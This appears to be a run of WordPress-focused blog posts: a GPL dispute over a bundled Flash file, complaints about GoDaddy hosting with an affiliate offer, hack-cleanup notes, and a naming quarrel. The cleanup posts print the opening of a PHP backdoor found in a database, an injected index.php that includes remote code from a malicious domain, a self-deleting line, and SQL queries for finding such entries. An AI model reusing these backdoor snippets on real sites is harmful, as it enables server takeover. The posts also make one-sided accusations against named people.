Curiosity piqued, I dug back through the tweets until I found a link to the thread Ben was referring to. It turns out that it is a bug report on the WordPress bug tracking system, opened by user “hakre”:

The wordpress software packages to download form the website contain mostly source-code.

But as it’s known, there are files and parts in these, that are binary blobs and w/o their source as specified in the terms of the GNU GPL.

According to §1, §2 and §3 of the terms of the GNU GPL v2, the wordpress project must offer full source-code in order to distribute the whole package under GPL.

In §3 it’s made more specific what sources are:

The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.

I was looking over the wordpress homepage but I could not find any information where to obtain the according sources that are missing from the packages – either in full source packages or in it’s additional form.

Probably I’ve overlooked something, please help me obtaining such information. – hakre

What hakre was referring to was a specific section of the GNU General Public License v2.0, which is the license that WordPress is released under. The requirements of the license dictate that anyone is free to modify or redistribute the software package, as long as the license itself stays intact, and as long as whoever receives the software package either gets a copy of the source code, an offer in writing that they will make the source code available on request, or a copy of the offer to make said source code available if that is how it was originally offered. Basically either the actual source code must be supplied, or a clear concise guarantee that it can be supplied on demand, must be included with the distribution. For the bulk of WordPress this is no problem and would never be an issue. The core WordPress files are written in php, with some elements in Javascript or html. All 3 of those languages, unless encoded in some special way, run as is straight from the source code. Php and Javascript are “scripting” languages and html is not actually a programming language. If someone wants to see or edit the “source code” for any of those files all they need to do is open them in a text editor and just look at them.

However, what hakre was talking about was the 1 and only executable file* (see hakre’s comment below for clarification) that is currently distributed with WordPress, a file named swfupload.swf, which is located in the wp-includes/js/swfupload directory. It is a Flash file, is not considered editable by normal means, and it is compiled, not in source code form. The concern that hakre raises is quite valid, since without the source code being distributed along with this file it makes it impossible to distribute WordPress as GPL v2 software. This is a Very Big Deal, especially when you consider the rift that Matt Mullenweg created in the WordPress community over the whole issue of what GPL did and did not cover. Almost 2 years ago Matt asked a lawyer from the FSF to back up what Matt was saying, and in the closing paragraph of that post he made the following statement:

So as before, we will only promote and host things on WordPress.org that are 100% GPL or compatible. – Matt Mullenweg

The fact that WordPress can’t follow the license that they are claiming everyone else needs strict adherence to makes all of Matt’s previous pettiness just that much worse.

One of the WordPress contributers, Otto42, closed the ticket when he found it. In fact, he asked the question “What sources are missing?” in the same post, but marked the ticket as “invalid” without bothering to wait for an answer. The thread was then reopened by hakre again, after which Chip Bennett joins the conversation. In a nutshell, it’s a back and forth with Otto arguing that the source code for that file is not required, since WordPress authors did not write it, and since that particular executable is not GPL, and is instead released under the MIT License. The problem with his argument is that it is, of course, dead wrong. The GPL license does indeed allow you to distribute non-GPL licensed software within a GPL package, as long as a) the non-GPL license is less restrictive than the GPL (which the MIT license is), and b) the source code is included (which, again, WordPress is not doing here).

At one point Otto makes the following claim:

As for the GPL, we are under no obligation to provide anything at all. Understand that the people here wrote the code and share a joint ownership of it. The GPL places no obligation whatsoever on the actual copyright holders of the code. They can release it anyway they like. The GPL only applies to licensees of the code in question; the downstream people using and redistributing that code. – Otto42

That of course sums up a bigger core misunderstanding of the situation that makes me wonder if more WordPress contributers are under the same illusion… that the GPL only applies to what other people can do with WordPress, and doesn’t actually apply to the contributers, or to the WordPress Foundation, or to Matt Mullenweg. Maybe all of Matt’s talk of how the GPL embodies all of WordPress’s core values managed to bury the reality of why the GPL was being used for WordPress. The truth is, WordPress is licensed under the GPL v2 because they have no choice in the matter, they have to use it. WordPress, you see, is a derivative of yet another software package, b2/cafelog, which was licensed under the GPL v2 as of March 2nd, 2002.

Otto also is also under the misconception that the following statement in the license covers them:

If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code

As a developer I am rather surprised at Otto’s lack of grasp on the IF…THEN… element to that statement. If the executable is being distributed from a remote location, then offering the source at that same location counts as distribution of the source code. An example of an executable being offered from a designated place would be Microsoft distributing software that requires their mfc32.dll to run, and giving you a link to their website where that can be downloaded. WordPress does not say “To use our Flash uploader you will need to download the executable from here“… they distribute that executable with the WordPress package itself, which means, by the terms of the GPL license they are required to follow, that they must offer the source code as well.

The final argument in the bug report relies on the fact that inside one of the Javascript files that are bundled with SWFUpload there several links referenced, and if you follow one of those links and dig around you will eventually find the source code in question. Even this, however, is not actually sufficient. As Otto points out in several places during the discussion, SWFUpload is not in and of itself GPL, and are under no obligation to offer the source code. Therefore that site could disappear altogether and the source code would no longer be available. A link that is not a direct download being mentioned in a Javascript file is not even close to WordPress offering a place for people to download the source code.

Otto is right in one respect though, the flash file in question is under the MIT License. This license is short and sweet, and in it’s entirety reads:

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

That middle line in the license, “The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.”, is non-trivial. It plainly states that a copy of this license must be included with the software. It does not say that “a copy of the notice or a link to it” is required, it clearly states that the notice itself needs to be there… and this notice just happens to be missing from the copy of the software distributed with WordPress. It also happens to be missing from from the thickbox package that is found in wp-includes/js/thickbox as well. The fact that either copy of the license was missing from wherever the WordPress developer who included it in the package got it originally is no excuse for WordPress being non-compliant, either. It is Matt Mullenweg’s responsibility, as the distributor, to ensure that all of the licenses are in line.

There is no question, ever since WordPress included the SWFUpload software without it’s source code, which as near as I can determine started in version 2.5, they have been in clear violation of the very license they have been bashing other people over the head with. Fixing it now will not change the fact that they violated it for years, either. There really is no excuse for this.

Update: I just wanted to include a section in the GPL FAQ that I missed before that is strongly relevant to this discussion, “I downloaded just the binary from the net. If I distribute copies, do I have to get the source and distribute that too?”

Yes. The general rule is, if you distribute binaries, you must distribute the complete corresponding source code too. The exception for the case where you received a written offer for source code is quite limited.

Honestly, it doesn’t get any clearer than that. Mind you, that won’t stop people from trying to argue the point further, but the FSF themselves are very succinct on that point. SWFUpload is a binary that the WordPress developers downloaded from somewhere else and included in their package, the GPL requires that the source code be included. WordPress has been in violation of the GPL for a few years now at least.

Since this is an established pattern with them as a web host, and even though I still highly recommend them as registrars for domain names, I have decided to make this offer to all clients who want to be done with getting their sites hacked. If you hire me to clean your hacked website(s), WordPress or otherwise (since pretty much any site on GoDaddy is subject to getting hacked), and are willing to switch to Hostgator after I have you completely cleaned up (which is where this blog and many of my other sites are hosted, and a host that I highly recommend), then I will do the migration at no extra charge.

That’s right… I’ll move you to Hostgator, for free.

Now, if you want to help me out a little with that, and use the affiliate links in this post or the banner in my sidebar to purchase your hosting, then great, I will get a commission from them for doing it. But that is in no way required for this offer, and not at all why I am making this deal. You can manually type in hostgator.com into your browser, or click on a friend’s banner, or whatever. I’ll still move you for free. Everyone should have safe hosting, period, and I am willing to help people get there.

The one caveat with this offer is if you have emails stored on the old server, and use either IMAP or their webmail, and you need those old emails (not the accounts, but the actual emails) moved off of GoDaddy and stored elsewhere, then it does take a few extra minutes per email account, depending on which solution you which to use. GoDaddy doesn’t give you direct access to download and move them, but there are a couple of workarounds available. Some you can do yourself if you like (like downloading all of the emails to your local computer using POP3), some I can do for you for a very small charge. Other than that for each site I clean I will move it to the new Hostgator account for you at no charge, and that includes the files, the databases, setting up the email accounts, and any ftp users you want to move.

If you are not currently hacked, and want to move to Hostgator anyway, I’ll still offer anyone who wants it a deal. If it does not need cleaning, I will migrate your entire site for only 30 minutes worth of labor, flat fee, again not counting the moving of the physical emails. If you have multiple sites that need moved, depending on the sizes of them, I can offer you further discounts on those as well. Hell, you don’t even have to be hosted at GoDaddy to take advantage of this offer. If you’re unhappy where you are at, just let me know.

Anyone who wants to have me get started on moving them to a better host should contact me today.

It looks like the culprit might have been a security hole in phpmyadmin. Hopefully this will turn out to be what was wrong, because Rackspace upgraded all of their installations of that package this past Saturday. If so the initial security could very well be plugged, although of course we don’t know for sure that was what was affecting all of these customers yet. In either case, however, simply plugging the hole will not be enough for affected websites.

The Unmask Parasites blog went into depth about how the various files were injected with malicious code, and how fake admins were used to modify the theme files on the installation. However, what they (and as far as I can tell everyone else) missed was a backdoor that I found injected directly into the wp_options table. The record had an option_name of “wp_optimize”, autoload set to “on” (which means that the option is automatically loaded with WordPress), and an option_value of php shell code:

1
2
3
4
5
6
7
8
9
10
11
12

$kmd5='510a584f9747c1262b5ef3c89bd9afb4';$shellver='1.7.5-stable';
if((isset($_POST['sh'])&&(md5(md5($_POST['sh']))==$kmd5))or(isset($_GET['sh'])&&(md5(md5($_GET['sh']))==$kmd5)))
{
    $kuppa=getcwd();
    if	(file_exists($kuppa."/wp-config.php"))   	      {include ($kuppa."/wp-config.php");};
    if	(file_exists($kuppa."/wp-includes/formatting.php"))   {require_once ($kuppa."/wp-includes/formatting.php");};
    if	(file_exists($kuppa."/wp-includes/kses.php"))         {require_once ($kuppa."/wp-includes/kses.php");};
}
 
if (!function_exists('update_option_1')):
    function update_option_1( $option_name, $newvalue )
...

In all it was 1216 lines of code. You can view the entire file here: sql-injection-wp-optimize.txt. It allows an attacker to basically run any commands or upload any file to the server that they want to. Deleting or cleaning all of the infected files on the server won’t help as long as this code is still in the database. Please, if you have been hacked (regardless of whether or not you are on Rackspace hosting) please make sure you check your databases for malicious code like this.

An easy way to check for these types of suspicious entries in a hacked WordPress database is to run the following MySQL query:

1

SELECT * FROM wp_options WHERE (option_id LIKE '%base64_decode%' OR blog_id LIKE '%base64_decode%' OR option_name LIKE '%base64_decode%' OR option_value LIKE '%base64_decode%' OR autoload LIKE '%base64_decode%') order by option_id

So far the only legitimate entries I have found returned from that query were rss entries pulling in blog posts discussing the base64_decode() php function, so if you find an entry in the database that doesn’t look like someone’s blog post, odds are you are going to want to delete it.

One of the hacks that has been around for a few years has the symptoms of having an index.php in the root installation that has the following code in it:

16
17
18
19
20
21

/** Loads the WordPress Environment and Template */
if (isset($_GET['license'])) {
	@include('http://wordpress.net.in/license.txt');
} else {
	require('./wp-blog-header.php');
}

The index.php found in a clean installation of WordPress does not have an IF statement in it, and the section that is actually delivering the hack is the statement telling the page to include() license.txt located on wordpress.net.in. If you try to view that page in a browser what you currently would see is version 3 of the GNU General Public License. However, if the file is called as an include(), it instead delivers code that acts as a back door and allows, I believe, the injection of an erroneous administrator into the WordPress installation. From there pretty much anything can be done.

The wordpress.net.in domain itself, which is being used to deliver this hack, was originally registered back in April 2007, supposedly to some guy in Massachusetts:

A little over 3 years later, after at least 31 changes in domain registration information, the domain is still supposedly registered to some guy in Massachusetts, although not to the same person:

The domain has been used for these hacking activities the entire time it has existed. There has never been a legitimate site residing on it.

By checking the IP address of where the site is now, it appears to be hosted by a firm operating under the name Extended Host Inc, which according to their whois information is located in Canada. However, they don’t seem to actually have a website where someone could get hosting services, and their IP is located over in Amsterdam. This is what Spamhaus had to say about Extended Host:

While none of this actually tells us anything about who the real owner of the domain is, what it does tell us is that there is very little that can be done about it. The hosting company is a scam, so there is no one to contact to have them take the website down. Even if the current bandwidth provider did decide to take action against them they could simply move to a new provider. There are plenty of hacker and spammer friendly hosts out there to choose from. The sad truth is that there is little that honest concerned netizens such as you or I can do to take a website like this offline. It is a shame, too, because taking the website down would mean that the hack it is being used for, across however many thousands of WordPress installations out there that are infected, would no longer be effective. It would nullify the damage, even for those blog owners who do not know that they are hacked.

No, there really isn’t much that you or I could do about that site… but there is actually someone who could do something, if they so wanted. You see, the domain in question, wordpress.net.in, consists entirely of the WordPress trademark, a trademark owned by Automattic Inc, the company founded by one Matt Mullenweg, the original creator of WordPress. According to their website they are quite aware of the fact that using WordPress in a domain is a trademark violation, and trademark violations are pretty much the one thing that allows one person to legitimately take a domain from another person without their consent. According to the ICANN Domain Name Dispute Resolution Policy there are 3 conditions that must be met for this to happen:

• (i) your domain name is identical or confusingly similar to a trademark or service mark in which the complainant has rights; and
• (ii) you have no rights or legitimate interests in respect of the domain name; and
• (iii) your domain name has been registered and is being used in bad faith.

In this case 1 is a no-brainer… the domain name is an exact match for the trademark in question. I am pretty sure that unless the owner of the domain name turns out to be one of the other founders of Automattic number 2 will pass the test without question as well. As for requirement 3, I don’t think you could really get more “bad faith” than deliberately using the domain name to hack other websites. If Matt actually cared he would have no problem wrestling control of that domain name from whoever it is that actually owns it, and shutting it down altogether, and yet he has done nothing about it for over three years now. Apparently Matt is so obsessively concerned with his crusade against non-GPL WordPress plugin and theme developers that he doesn’t have the time or energy to go after someone using his trademark to hack software he wrote. In his campaign against the evils of non-GPL he has even gone so far as to start banning people from speaking at or sponsoring Wordcamp events if they are “non-GPL-compliant” (a determination, btw, which is solely made by Matt and company, with apparently no procedure in place for appeals):

They are welcome to attend, but WordCamps may not have non-GPL-compliant people as organizers, sponsors, or speakers. Events that want to move forward and include such individuals in these roles may need to use a name other than WordCamp if the appropriate adjustments can’t be made. – Jane Wells, WordCamp “central liaison”

That’s right… if you wish to put the effort into organizing an event that promotes WordPress in your community, and you take the time to raise the money yourself to do so, but you happen to be a person who directly sells premium themes, then you damn well better not use their trademarked name for the event. If you want to spread viruses, hack servers, and promote spam, however… hell, feel free to use their core trademark in your domain name. It’s not like they are going to actually do anything about it.

WordPress is a-ok. Go Daddy is rock solid. Neither were ‘hacked,’ as some have speculated.

After an extensive investigation, we can report there was a small group of customers negatively impacted. What happened? Those users had outdated versions of the popular blogging software, set up in a particular way. – Alicia from GoDaddy

From what I have read around the web customers were being told that it was not GoDaddy’s responsibility to fix the sites, that they only offered “limited support” in situations like this, leaving people with only the option of restoring from a backup (which would often not help even in outdated WordPress hack situations, since hacks can go undetected for months) or hiring outside help to clean things up.

You can see on the support page they have set up, What’s Up with Go Daddy, WordPress, PHP Exploits and Malware? that they still claim that outdated scripts are part of the problem. Going to that page and viewing the source reveals something almost unbelievable:

(click to enlarge)

That’s right, in a classic “do as I say, not as I do” twist it seems that GoDaddy is in fact running an older version of WordPress (WordPress MU, based on the version number, which has the same security holes as regular WordPress) for their community blog that they are using to tell people to upgrade their WordPress versions.

To be fair, simply having an older version of WordPress does not mean that it is automatically insecure… the security fixes in the more recent versions may be minor and the known vulnerabilities might have been manually patched. I can’t know without actually digging deeper and looking if in fact the installation was vulnerable.

Then again… neither can GoDaddy in the case of their customers.

When it first started to happen I did some searching around, and noticed that there was some discussion going on about the heightened GoDaddy hacking activity, but at that time everything I read that stated the problem was with GoDaddy customers all had roots pointing back to a single post on a company blog that didn’t offer enough details for me to really see why it was happening there and not other places. Not that WordPress on other hosts weren’t still getting hacked, but there has definitely been a higher concentration of instances on GoDaddy. GoDaddy was definitely aware of the issue, and even replied in some threads on the WordPress.org help forum:

GoDaddy.com did send out a notification to customers affected by this issue. Although I know you would prefer not to be linked, I want to avoid flooding the forum. For a step-by-step guide to update WordPress, please visit http://fwd4.me/NGN – Alicia from GoDaddy.com

The link to their “step-by-step guide” to updating WordPress turns out to be nothing more than than a link back to WordPress’ own guide to upgrading, and links on how to back up your stuff on GoDaddy. Decidedly not step-by-step imo, and in this case not all that helpful. If the reason your site gets hacked is due to you running an older, insecure version of WordPress, once that happens simply upgrading will not fix the issue. This seems to me to be a bit of a lame response to a serious issue coming from a company that bills itself as the “World’s largest Hosting Provider”.

GoDaddy keeps insisting that the problem is due to outdated WordPress installations, and that staying up to date and site security is the responsibility of the customer, not of GoDaddy. In one sense I completely agree with them. If you run an older version of WordPress that has known security holes in it (ie. pretty much all versions aside from the most recent) then the odds are that you are going to get hacked. Most of the clients I cleaned from GoDaddy so far were up to date, running version 2.9.2, but this still didn’t mean that it was GoDaddy’s fault, since it is possible for a site to get hacked and no signs show up for months. This means that the sites I was cleaning could potentially have had the hack from an older version, and it only became apparent some time after they upgraded.

The problem is that after doing some very thorough clean up jobs (ie. wipe and reinstall), and making sure the clients were up to date, all passwords changed, all image files verified as actual images, clean WordPress, clean theme, clean plugins, and hand cleaning the database, I had clients still getting re-hacked.

One client I had was having issues with funky characters in his posts. He would make the post, everything would be fine, and then the next day they would be converted in a way that would make them display as unicode. This was well after I had done my cleaning, and no one should have made any changes to the database since then. My assumption was that GoDaddy themselves was making changes, possibly security upgrades related to the recent hacking waves, and I figured that calling them to see what they had done would be the best bet. In preparation for this I went ahead and logged into the client’s account, and ftp’d into the server just to make sure everything looked like it was in place still. As soon as I did I saw that about 30 minutes before a brand new, non-Wordpress, oddly named php file had been dropped into my client’s site.

I downloaded the file and looked at it. I suddenly realized that this was the source file for all of the hacks that were happening. It was named “plan_erich.php”, and had similar eval(base64_decode( instruction at the top of the file. I modified the code to be able to decrypt it safely, and looked through the output (which you can view here). The script was designed to delete itself as soon as it ran:

$z=$_SERVER["SCRIPT_FILENAME"]; @unlink($z);

Finding this script before it was triggered and deleted itself was raw luck. Catching this file gave a great opportunity to actually track down how these hacks are occurring, and possibly would leave clues that GoDaddy could use to keep it from happening again. Looking at the owner/creator of the file, and matching that timestamp up with the various logs (ftp, ssh, http, mysql, etc) could give GoDaddy the information needed to figure out how the file really got there, instead of just guessing that WordPress was the issue. I have never seen a file like this before, and searching Google for the name yielded no results, so there really was no other information out there available on this. Finding it there was a little like hitting the lottery in that respect, random and very, very good luck.

The problem, however, is that GoDaddy didn’t seem to care. I called and explained to the woman I spoke with exactly what it was that I found and how it could be useful. I told her that matching up that file to the logs could yield some potentially valuable information. She did listen carefully, and I am pretty sure she understood what I was saying, because she asked if she could put me on hold to go talk with someone who might know more. She came back and informed me that she didn’t have permission to look at those logs.

I explained again, in a little more detail, why looking at the section of those logs was very important, and if she didn’t have permission could she please escalate the ticket to someone who did. Again, she put me on hold. This time she came back and told me that they were uninterested in escalating it.

At this point I was a teensy bit amazed at GoDaddy’s lack of concern with the issue. She very kindly informed me that the issue was that the client was running an older version of WordPress, and that we needed to upgrade. Wtf? I went and looked, and made sure that he was indeed still running the 2.9.2 version that I had installed over a week ago (and remember, he was running that version before I ever did anything), and he was. I told her that. She told me that no, she was looking at what the hosting control panel said, and that he was running version 2.6.

That was when it struck me… GoDaddy was claiming that this wave of WordPress hacks was due to clients not upgrading without even bothering to really look at the clients sites. The hosting control panel can only report what was installed via the hosting control panel itself. If a client pushes the button to upgrade WordPress from within the WordPress admin section then the hosting control panel will never know.

As amazing as it seems, apparently the entire GoDaddy technical support team is ignorant of this fact. That’s right… the “World’s largest Hosting Provider” doesn’t understand the very basics of how the world’s largest blogging platform works.

Something, probably a hosting configuration, is allowing GoDaddy customers to have their sites hacked, and it isn’t file permissions, insecure passwords, or out of date software. Not being willing to even look when a developer calls to tell you that they found something is completely unacceptable. My suggestion to all GoDaddy hosting customers: bail now, before something happens to your site. This is not a WordPress issue only… although it seems to have targeted WordPress customers first, all sites that use php are at risk. Personally for shared hosting I recommend Hostgator, because I love their tech support (and their servers are very robust), but there are plenty of hosts out there to choose from (Disclosure: I changed the previous link to an affiliate link, although if you’d rather purchase hosting from them without giving me credit that’s fine too, here is a clean link for you: HostGator).

Bob Parsons, I am sorry. Hot chicks and a strong tits and ass marketing campaign do not make up for apathy in matters of client security and well being.

http://smackdown.blogsblogsblogs.com/2010/03/18/test-of-wordpress-default-slug-redirect-301-or-302/

and I am going to change it to:

http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/

Results: Using the Bad Neighborhood Header Detector we can see that WordPress does in fact use a 301 redirect redirect by default when changing a url slug (at least, WordPress 2.9.2 does, since I upgraded just before this test):

I use an early warning hacking detection system that Donna came up with last year with and I helped refine, MonitorHackdFiles, that alerts me whenever there are any files modified or added on my blog. This script has been indispensable in helping me to clean up damage from hacks before either my rankings were harmed or an infection spread to my readers. However, based on the folder structure on the database entry that I found, this was from a hack that happened prior to me installing that script. I checked, and the file definitely does not exist, either physically or virtually (I get a 404 trying to access it on the web), which makes sense since I did completely wipe and reinstall WordPress several times last year. I also always check the wp_posts, wp_users, and wp_options (especially the active_plugins entry) after a hack for any irregularities, but never thought to check wp_postmeta, which is where information about uploads is stored. I have been hacked a few times, and this is apparently the only one that actually used the uploads folder. All of the other hacks hid files amongst the WordPress system files or injected data into the database. Just to be safe though, from now on I am adding to the checks that I perform to the database to include scanning that table for any non image files, like so:

SELECT * FROM wp_postmeta
WHERE meta_key='_wp_attached_file'
AND (
	RIGHT(meta_value,4) NOT IN ('.jpg','.gif','.png','.avi','.mp3','.mpg','.flv')
	OR meta_value LIKE '%.php%' OR meta_value LIKE '%.pl%'
	OR meta_value LIKE '%.exe%' OR meta_value LIKE '%.js%'
)

This should display the entries in your database that match the contents of your uploads directory, filtering out the most common safe files while definitely including the most suspicious ones.

I couldn’t find anyone discussing the rzf.php file when I looked, but I did find a couple of sites that were hacked from it. It apparently generates a list of links that all point back to itself with various d=xxx parameters:

Each of these pages then generates a list of other self-referential links, plus some added text, and a small percentage of external links. All of the links that I looked at lead back to what appeared to be valid sites, presumably to better hide the actual target. Even though this may be the only function of the file, if the file itself is found in your directory structure, and not just a leftover database remnant like mine was, it is probably best to do a complete cleaning, just to be safe.

I think Nick sums up how most of us feel about malicious hackers, script kiddies, and spambots that wreck other people’s stuff.

My apologies to everyone that reads this that are searching out how to fix your blog. It is obviously meant for the little, no good, no life having, soulless human maggot out there that creates viruses, malicious scripts and hacks other peoples stuff. YOU SUCK BIG MOOSE C#&@!!

- Nick

Most of my sites have been on C-panel setups just because of cheapness and laziness on my part. But, I’ve been a Unix / Linux hack for about 30 years, so I grabbed up a VPS, set up Centos 5, Apache, PHP, MySql, Exim, and all the way I like it with a little Perl script to throw anyone who tramples on various triggers into the firewall straight away, and before I even had the thing known to any DNS servers anywhere, it already had trapped about 60 or 70 IP addresses, and they were not false alarms. Now if that many are blocked trying to break into SSH alone, imagine how many would be flooding into the applications that have ports open on any given system, especially AFTER it was known to the world by name!

If you have a website, don’t think in terms of “if” it will be attacked by hackers and spambots, and don’t think in terms of “when” either. Think in terms of enlarging the gaps between times hacking attempts are successful and recoveries are necessary. Think in terms of how many hackers you can trap and report and how many hacking attempts you can block, and how well you can isolate them from the false alarms. If you block them by IP, you’ll find most of your users are on IP addresses shared throughout the comcast and AT&T community, and you cannot block those ranges without blocking out most of your users. So, you may want to block them temporarily, say 2-4 days and release them just to make sure they don’t hit you with a denial of service attack or a brute force attack. This will at least keep your system from being hammered and help reserve your bandwidth and computing resources for constructive work.

Cut back the number of ports you have open. If you put a million door lock onto the front door of your house but the door is made of balsa wood, a 3 year old might kick it in by accident. If you secure your front door and leave your back door open, you’re still out of luck. What are the points of entry? What protections are there on those? If they get in, what can they compromise? Can they use one service to plant a mine for another service?

At one time, everyone laughed at the thought that opening an email could cause a problem. “Email is just a text file.” “You’re just reading it, silly!” True, but what does the email reader do with what it reads? Does it process mime types or any kinds of files? A kidnapper may be unable to unlock the front door of your house, but if he can tell your 3 year old child you won a million dollars and need to open the door to get it, you may end up getting a call with a demand to pay a million dollars in ransom.

So often we think if someone is really competent in security, it will be impossible for any hacker to break in without getting caught. One would like to think that security is a terminal project–one with a beginning and an end, that you can sign off on completion and your work is done forever. It isn’t. No more than ending all war and establishing permanent world peace is a terminal project unless you’re God.

You can set policies, brainstorm, gather ideas, organize them, let them spawn ideas, and let the creative juices flow, and then organize them again until you have a full set of projects, policies and procedures and methodologies for implementing them. You can weigh risks calculating potential losses against costs of prevention and come to an idea of what is most important. You can set up disaster recovery strategies, and in them beware of the fact that when you take backups, there will be times you will be backing up viruses and corruption as well, and many times corruption and viruses may be intertwined into the ongoing collection of data and you’ll need methods for weeding things out whether you like it or not. But, it has to be part of the plan.

But, in the end, it may almost seem like security is about good backups and disaster recovery first and then the rest of the prevention is about performance, reliability, reduction of downtime, protection of reputation, and overall efficiency.

There will be times when there are conflicts between progress and safety. There may be times people feel they cannot get any work done because security is too tight, too insulting, too bothersome, too pedantic, too whatever. And sometimes there will be folks whose die-hard commitment to security is in ignorance hindering progress while providing no real security at all.

It’s a pain, really. And yet every pain has its joy and satisfaction and opportunity to do excellently where others have failed. Without a battle there can be no victory. Without something to overcome, nobody can become an overcomer. It’s a curse and a blessing.

Whew…that was longwinded!
Dan

Today I receive this email from someone by the name of Joel Drapper:

Hey,

I’ve got a little problem.

The other day, I had this great idea to make a single PHP file that downloads, and extracts WordPress to make installing it much easier, and faster. So after I coded it, I asked a few of my friends for suggestions on a name. Most of them said EasyWP which sounded pretty good so I went ahead with it.

That evening, I put together the website (http://easywp.9milesMedia.com), but wasn’t going to launch it till the next morning when I decided what I was going to licence it under, etc. and was tweeting through this process. Then @smashingmag asked me if I could send it to them. I DMed them a link to the website that I’d set up, telling them that I wasn’t launching it quite yet, but they could see it early.

Moments later, my friends told me that he just Googled EasyWP and someone else (you) had made a similar file. I decided that it was probably a good idea to go ahead with my version anyway as I wanted to do a lot more with it then I could see you had done (I wanted to do an ftp version, etc. too in future update), but was going to change the name to something else because you had already used it for your file.

Unfortunately before I could do this, @smashingmag had tweeted a link to my version, and that link has now been retweeted over 100 times. It also ended up getting over 100 delicious bookmarks, and multiple blogs writing about.

I have a method of informing users of updates to the script, and I can set up 301 redirects, etc. but it’s going to be really hard now as it’s so well branded as EasyWP. I was just wondering if maybe you would allow me to keep the name? As I said, I can change it if you really want me to, but I’d rather come to some kind of agreement on this.

I’m sorry for not checking that the name was free earlier.

Thanks for taking the time to read this email.

I look forward to hearing form you.

Have a great day!

The script this guy wrote, at least in it’s current version, is slightly inferior to mine, does the exact same thing, came out a year after mine, and he gave it the same name. The only difference is that he got lucky enough to have @smashingmag to tweet the link for him. As a result, his script is getting a ton of attention. Despite that fact that he discovered that his script, including the name, was basically a direct rippoff of mine, he decides to continue to promote the script:

Since he did state that the whole situation was an accident, I suggested to him what I felt would be the right thing for him to do at this point:

Joel,

Ok, for starters, please stop promoting/tweeting your product until we have hashed this out. Your claims of this being an honest mistake seem much less sincere the more you promote this using the EasyWP name. Honestly, the fact that you didn’t issue a public apology for not researching the concept and the name the moment you discovered that you were plagiarizing, even though you claim it was accidental, surprises me a little. 19 minutes after tweeting that you discovered that the script had already been done and the name used for that exact purpose, you start promoting your script using that name, and you never stopped.

You said that you planned to go further with your script that I did mine, but as it stands currently not only is your script not really any kind of improvement over mine, but additionally it is lacking a couple of features that mine already has built in (such as checking permissions or allowing the user to upload their own version of wp, should they not want to go with the current one). Seeing as that is the case, and seeing as I released mine almost a year ago, this is what I think should happen from here:

1) I think that you should write an apology post for not doing any research before releasing your product, explain how the name was already being used for a near identical script, and how the original script actually has features yours does not. I think you should include in your apology your reasoning, whatever it was, for not letting people know right away and why you instead continued to promote your product without even mentioning mine.

2) Since my script does in fact offer things that yours doesn’t, I think you should simply 301 your current download page to mine.

3) You should ask Smashing Magazine help you get the word out about the original script, seeing as if you actuality did tell them that it was a sneak preview for their eyes only then they should not have tweeted it.

4) In the future if you do write a script with more/better features than mine then yes, I do hope that you use a different name.

Now Joel, obviously I cannot make you do anything, and you will of course do whatever you want. Only your own personal set of ethics will dictate what happens hereon out with this. It’s up to you.

Peace.

-Michael

Joel, however, is unwilling to give up the attention that comes with getting a mention from someone with the prestige of Smashing Magazine’s Twitter account, and all of the subsequent blogging that results from that. He claims he will give it another name, and come clean about what happened, in a few days after he updates the script. I asked him why he wouldn’t fess up now, but he really couldn’t give a good answer for that one, so he just replied that they were “taking this seriously and are actively coding updates, and sorting out the hosting”.

Do I know for a fact that Joel didn’t find my script and decide that passing off a similar one as his own was a good idea? Nope. No way to know those kinds of things. I do know that it took him almost 24 hours to contact me, and that he only did so after the script started to get tons of attention on Twitter. I also know that he refuses to make it right while there is still a large amount of buzz about it. I think that most responsible adults with any concept of business ethics would immediately own up to what happened, drop the script, and find some other idea to develop.

The problem is, Joel Drapper isn’t a responsible adult… he’s a 16 year old kid that is part of a group of 9 other kids aged 13 – 16:

9miles Media is a small, unique graphic & web design group comprised of nine creative teenage entrepreneurs (age 13-16) from all over the world. We adore what we do, and you’ll adore what we can do for you.

So, what do you do in a situation like this? Give them a pass because of their age? Trust their word that it really was an accident, despite their refusal to make it right? Having a hard time figuring this one out myself.